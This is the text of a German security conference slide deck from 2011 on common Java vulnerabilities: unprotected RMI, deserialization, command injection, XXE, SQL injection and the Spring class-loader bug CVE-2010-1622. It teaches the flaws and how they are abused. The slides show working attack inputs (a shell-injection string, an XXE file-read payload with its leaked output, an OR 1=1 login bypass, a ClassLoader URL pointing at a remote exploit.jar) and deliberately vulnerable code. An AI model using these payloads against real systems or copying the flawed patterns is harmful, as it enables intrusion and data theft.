

**Moritz Jodeit**  
IT Security Consultant

# Java Sicherheit

## Das wahre Leben



OOP 2011

26.01.2011

- » IT Security Consultant bei n.runs AG
- » Schwerpunkte
  - » Penetrationstests
  - » Source Code Audits
  - » Binär-Analysen
  - » Reverse Engineering
  - » Embedded Systeme
- » Likes to break things ;)

- » Platform security
  - » Strong data typing
  - » Automatic memory management
  - » Bytecode verification
  - » Sandbox
  - » Secure class loading
- » Crypto API
  - » Digital signatures
  - » Message authentication codes
  - » Symmetric/asymmetric encryption
  - » Block & stream ciphers
- » Authentication & access control
  - » Security Manager
  - » Policies
- » Secure communication
  - » SSL/TLS (JSSE)
  - » Kerberos (GSS-API)
- » Public Key Infrastructure (PKI)

- » Die meisten Java-Anwendungen sind relativ sicher!



- » ... oder etwa doch nicht?
- » Wenig Informationen zur “sicheren Programmierung”
- » Java security != Access control

- » Sichere Programmierung wird oft vernachlässigt
  - » “Schutz durch die Plattform” wird angenommen
  
- » Beispiele aus der Praxis
  - » Injection Angriffe (SQL, LDAP, XPath, SOAP, ...)
  - » XML eXternal Entity Angriffe (XXE)
  - » Ungeschützte Remote-Schnittstellen
  - » Missbrauch von Java Serialization
  - » Class Overloading Angriffe
  - » Cross-Site Scripting (XSS)
  - » File disclosure / arbitrary file upload

# Ungeschützte Remote-Schnittstellen

- » Java RMI
  - » “Remote Method Invocation”
  - » Erstellung verteilter Anwendungen
  - » Kommunikation zwischen verschiedenen JVM's
    - Auch über das Netzwerk
- » Objekte werden serialisiert übertragen
- » Protokolle
  - » RMI/JRMP
    - Java Remote Method Protocol
    - Kommunikation nur zwischen Java-Objekten
  - » RMI/IIOP
    - Kommunikation zwischen CORBA-Objekten
    - Interoperabilität mit anderen Programmiersprachen

- » Wo liegt das Problem bei RMI?
- » Per Default ungeschützt
  - » Keine Authentifizierung
  - » Keine Authorisierung
  - » Keine Integrität
  - » Keine Vertraulichkeit
  
- » Andere Java API's müssen dafür genutzt werden...



- » Viele RMI-Schnittstellen ungeschützt!
  - » Angreifer kann beliebige Methoden aufrufen
  - » Unsichere Methoden
    - executeCommand(String cmd)
  - » Angriffsfläche “Object Serialization”
  
- » Einfache Übertragung von Objekten (“Funktionalität”)
  - » Auslagerung der Logik auf den Client
  - » Input Validation ausschließlich auf Client?!?
    - Kann **immer** umgangen werden!
  - » Beispiel wie RMI **nicht** genutzt werden sollte:
    - “Employee Expense Report” System
    - Quelle: Offizielle Oracle RMI Dokumentation

# Java Serialization

- » Serialisierung von Objekten zur
  - » Persistenten Speicherung
  - » Netzwerkübertragung
- » Implementiert durch `java.io.Serializable` Interface
- » Arbeiten mit serialisierten Objekten
  - » `writeObject()`
  - » `readObject()`

- » Funktionsweise von `readObject()`
  1. Neue Instanz der Klasse wird erzeugt
    - » Konstruktor wird dabei **nicht** aufgerufen!
  2. Übernahme der Werte aus empfangenem Objekt
  3. Rückgabe-Objekt vom Typ *java.lang.Object*
    - » Aufrufender Code castet zu erwartetem Objekt

```
stream = new ObjectInputStream(...);  
String  someStr = (String)stream.readObject();  
Integer someInt = (Integer)stream.readObject();
```

- » Mögliche Input Validation kann umgangen werden!
  - » Konstruktor wird nicht aufgerufen
  
- » Übernahme **aller** Attribute empfangener Objekte
  - » Auch `private`, `protected` und `final` Attribute!
  
- » Absender bestimmt die Klasse des Objekts
  - » `readObject()` gibt *java.lang.Object* zurück
  - » Fehlende Casts oder Cast auf ein Interface
  - » Veränderung der Programmlogik möglich!

```
public class Ueberweisung implements Serializable {
    private long absender;
    private long empfaenger;
    private long betrag;
    private final double wechselkurs = 1.3405;

    public Ueberweisung(long empfngr, long betrag) {
        this.absender = User.getCurrentUser();
        this.empfaenger = empfngr;
        if (betrag <= 0) {
            throw new InvalidBetragException();
        }
        this.betrag = betrag;
    }

    // ...
}
```

```
public class Ueberweisung implements Serializable {
    private long absender;
    private long empfaenger;
    private long betrag;
    private final double wechselkurs = 1.3405;

    public Ueberweisung(long empfngr, long betrag) {
        this.absender = User.getCurrentUser();
        this.empfaenger = empfngr;
        if (betrag <= 0) {
            throw new InvalidBetragException();
        }
        this.betrag = betrag;
    }

    // ...
}
```

```
public class Ueberweisung implements Serializable {
    private long absender;
    private long empfaenger;
    private long betrag;
    private final double wechselKurs = 1.3405;

    public Ueberweisung(long empfngr, long betrag) {
        this.absender    = User.getCurrentUser();
        this.empfaenger  = empfngr;
        if (betrag <= 0) {
            throw new InvalidBetragException();
        }
        this.betrag = betrag;
    }

    // ...
}
```



```
public class Ueberweisung implements Serializable {
    private long absender;
    private long empfaenger;
    private long betrag;
    private final double wechselkurs = 1.3405;

    public Ueberweisung(long empfngr, long betrag) {
        this.absender = User.getCurrentUser();
        this.empfaenger = empfngr;
        if (betrag <= 0) {
            throw new InvalidBetragException();
        }
        this.betrag = betrag;
    }

    // ...
}
```

```
public class Ueberweisung implements Serializable {
    private long absender;
    private long empfaenger;
    private long betrag;
    private final double wechselkurs = 1.3405;

    public Ueberweisung(long empfngr, long betrag) {
        this.absender = User.getCurrentUser();
        this.empfaenger = empfngr;
        if (betrag <= 0) {
            throw new InvalidBetragException();
        }
        this.betrag = betrag;
    }

    // ...
}
```

```
public class Ueberweisung implements Serializable {
    private long absender;
    private long empfaenger;
    private long betrag;
    private final double wechselkurs = 1.3405;

    public Ueberweisung(long empfngr, long betrag) {
        this.absender = User.getCurrentUser();
        this.empfaenger = empfngr;
        if (betrag <= 0) {
            throw new InvalidBetragException();
        }
        this.betrag = betrag;
    }

    // ...
}
```

# Command Injection

» Ausführung externer Programme

```
Runtime rt = java.lang.Runtime.getRuntime();  
rt.exec(...);
```

» Fehlende Eingabeüberprüfung von Benutzerdaten

```
getRuntime().exec("ping -c 3 " + hostname);
```

» Erlaubt Injizierung eigener Parameter

» Keine Verwendung der Shell

» Injizierung weiterer Befehle nicht direkt möglich

- » Oft wird die Shell zur Ausführung genutzt
  - » `/bin/sh -c ...`
  - » `cmd.exe /c ...`

```
String[] args =  
    {"/bin/sh", "-c", "/sbin/ping -c 3 " + host};  
Process proc = rt.exec(args);  
DataInputStream data = new  
DataInputStream(proc.getInputStream());  
while ((output = data.readLine()) != null) {  
    vals = vals + "\n" + output;  
}
```

- » Injizierung beliebiger weiterer Befehle möglich
  - » `/bin/sh -c '/sbin/ping -c 3 foo;touch /tmp/PWNED'`

- » Oft wird die Shell zur Ausführung genutzt
  - » `/bin/sh -c ...`
  - » `cmd.exe /c ...`

```
String[] args =  
    {"/bin/sh", "-c", "/sbin/ping -c 3 " + host};  
Process proc = rt.exec(args);  
DataInputStream data = new  
DataInputStream(proc.getInputStream());  
while ((output = data.readLine()) != null) {  
    vals = vals + "\n" + output;  
}
```

- » Injizierung beliebiger weiterer Befehle möglich
  - » `/bin/sh -c '/sbin/ping -c 3 foo;touch /tmp/PWNED'`

# XML eXternal Entity Angriffe (XXE)



» XML Entitäten

- » &gt; → >
- » &quot; → "
- » &amp; → &

» Neue Entitäten können in DTD definiert werden

- » `<!ENTITY demo "Ersatztext">`
- » Verwendung mit **&demo;**

» Zur Validierung eines XML-Dokuments

- » Ersetzung von Entitäten durch referenzierten Text

» Angriffsszenario

- » Angreifer stellt XML-Dokument bereit

```
<?xml version="1.0" encoding="utf-8" ?>
<request>
  <username>nruns</username>
  <password>welcome</password>
</request>
```

```
<?xml version="1.0" encoding="utf-8" ?>
<response>
  <error>Access denied for user nruns!</error>
</response>
```

```
<?xml version="1.0" encoding="utf-8" ?>
<request>
  <username>nruns</username>
  <password>welcome</password>
</request>
```

```
<?xml version="1.0" encoding="utf-8" ?>
<response>
  <error>Access denied for user nruns!</error>
</response>
```

```
<?xml version="1.0" encoding="utf-8" ?>  
<request>  
    <username>nruns</username>  
    <password>welcome</password>  
</request>
```

```
<?xml version="1.0" encoding="utf-8" ?>
```

```
<!DOCTYPE response [  
  <!ENTITY xxe "lalalala">]>
```

```
<request>
```

```
  <username>&xxe;</username>
```

```
  <password>welcome</password>
```

```
</request>
```

```
<?xml version="1.0" encoding="utf-8" ?>
```

```
<response>
```

```
  <error>Access denied for user lalalala!
```

```
</error>
```

```
</response>
```

```
<?xml version="1.0" encoding="utf-8" ?>  
<request>  
    <username>nruns</username>  
    <password>welcome</password>  
</request>
```

```
<?xml version="1.0" encoding="utf-8" ?>  
<!DOCTYPE response [  
  <!ENTITY xxe SYSTEM "c:\boot.ini">]>  
<request>  
  <username>&xxe;</username>  
  <password>welcome</password>  
</request>
```

```
<?xml version="1.0" encoding="utf-8" ?>
```

```
<response>
```

```
  <error>Access denied for user
```

```
[boot loader]
```

```
timeout=30
```

```
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
```

```
[operating systems]
```

```
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows  
Server 2003, Enterprise" /fastdetect
```

```
/NoExecute=OptOut!</error>
```

```
</response>
```



# Injection Angriffe

- » Einbettung von Benutzerdaten in Queries jeglicher Art
  - » SQL
  - » LDAP
  - » Xpath
  - » SOAP
- » Ungenügende oder fehlende Eingabeüberprüfung
  - » Veränderung der Abfragelogik
    - z.B. Umgehung von Login-Mechanismen
  - » Auslesen sensibler Informationen
  - » Ausführung eigenen Codes
  
- » Beispiel SQL Injection...

```
conn = pool.getConnection();
String sql =
    "SELECT id FROM users WHERE name='" + user +
    "' AND pass='" + pass + "'";
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
if (rs.next()) {
    // Login successful
    loggedIn = true;
} else {
    // Login failed
}
```

```
conn = pool.getConnection();
String sql =
    "SELECT id FROM users WHERE name='" + user +
    "' AND pass='" + pass + "'";
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
if (rs.next()) {
    // Login successfull
    loggedIn = true;
} else {
    // Login failed
}
```

`http://example.org/login?user=nruns&pass=welcome`

```
SELECT id FROM users WHERE  
name='nruns' AND pass='welcome';
```

`http://example.org/login?user=nruns&pass=welcome`

```
SELECT id FROM users WHERE  
name='nruns' AND pass='welcome';
```

```
http://example.org/login?  
user=nruns '%20OR%201=1; --&pass=welcome
```

```
SELECT id FROM users WHERE  
name='nruns' OR 1=1; -- ' AND  
pass='welcome';
```

```
http://example.org/login?  
user=nruns '%20OR%201=1; --&pass=welcome
```

```
SELECT id FROM users WHERE  
name='nruns' OR 1=1; -- ' AND  
pass='welcome';
```



```
http://example.org/login?  
user=nruns '%20OR%201=1; --&pass=welcome
```

```
SELECT id FROM users WHERE  
name='nruns' OR 1=1; -- ' AND  
pass='welcome';
```

# Class Overloading

- » Überladung kritischer Klassen zur Laufzeit
  - » z.B. Java ClassLoader
  
- » CVE-2010-1622
  - » Spring Framework 2.5.x Arbitrary Code Execution
- » Ursache des Bugs
  - » Falsche Verwendung einer JavaBeans API Funktion
- » Folge
  - » Angreifer kann beliebigen Code ausführen lassen!

- » Zur Realisierung des MVC-Konzepts in Spring
  - » Verwendung von “form backing objects”
  
- » Form backing objects
  - » JavaBeans Objekte
  - » Repräsentieren HTML <form> Input Parameter
  
- » JavaBean Introspection
  - » Erlaubt Einblick in das JavaBean Objekt
  - » Verwendet um Properties zu finden und zu setzen

```
public class Person {  
    private String firstName;  
    private String lastName;  
    private Address address;  
}
```

```
POST /adduser HTTP/1.0
```

```
...
```

```
firstName=foo&lastName=bar&address.street.nr=42
```

- » Verwendet Namen der POST Parameter als Properties
  - » Setzt Werte gefundener Properties

```
public class Person {  
    private String firstName;  
    private String lastName;  
    private Address address;  
}
```

```
POST /adduser HTTP/1.0
```

```
...
```

```
firstName=foo&lastName=bar&address.street.nr=42
```

- » Verwendet Namen der POST Parameter als Properties
  - » Setzt Werte gefundener Properties
- » Punkt-Notation für komplexere Klassen

» JavaBean Introspection API

```
BeanInfo getBeanInfo(Class beanClass);  
BeanInfo getBeanInfo(Class beanClass, Class stopClass);
```

» Zurückgegebenes BeanInfo Objekt

» Enumerierung aller Properties

» Inkl. Properties aller Basisklassen (bis stopClass)

» getBeanInfo(beanClass) **ohne** stopClass

» Gibt **alle** Properties bis zu object.Class zurück!

» Superklasse aller Java Klassen

```
POST /adduser HTTP/1.0
```

```
...
```

```
firstName=foo&lastName=bar&class.classLoader.  
URLs[0]=jar:http://nruns.com/exploit.jar!/
```

- » Überschreibt den ClassLoader
  - » `frmObj.getClass().getClassLoader().getURLs()[0]`
- » Spätere Verwendung des ClassLoaders
  - » Remote Code Execution!
  
- » Hinweis: `getBeanInfo()` immer mit `stopClass` verwenden!



**n****runs**

professionals ●●●

**Kontakt*****Moritz Jodeit***

IT Security Consultant

mobile: +49 170 2 88 42 91

moritz.jodeit@nruns.com

**it. consulting****. infrastructure*****n.runs* AG**

Nassauer Straße 60

D-61440 Oberursel

phone: +49 6171 699-530

fax: +49 6171 699-199

***www.nruns.com*****. security****. business*****... Fragen?******... Offene Diskussion***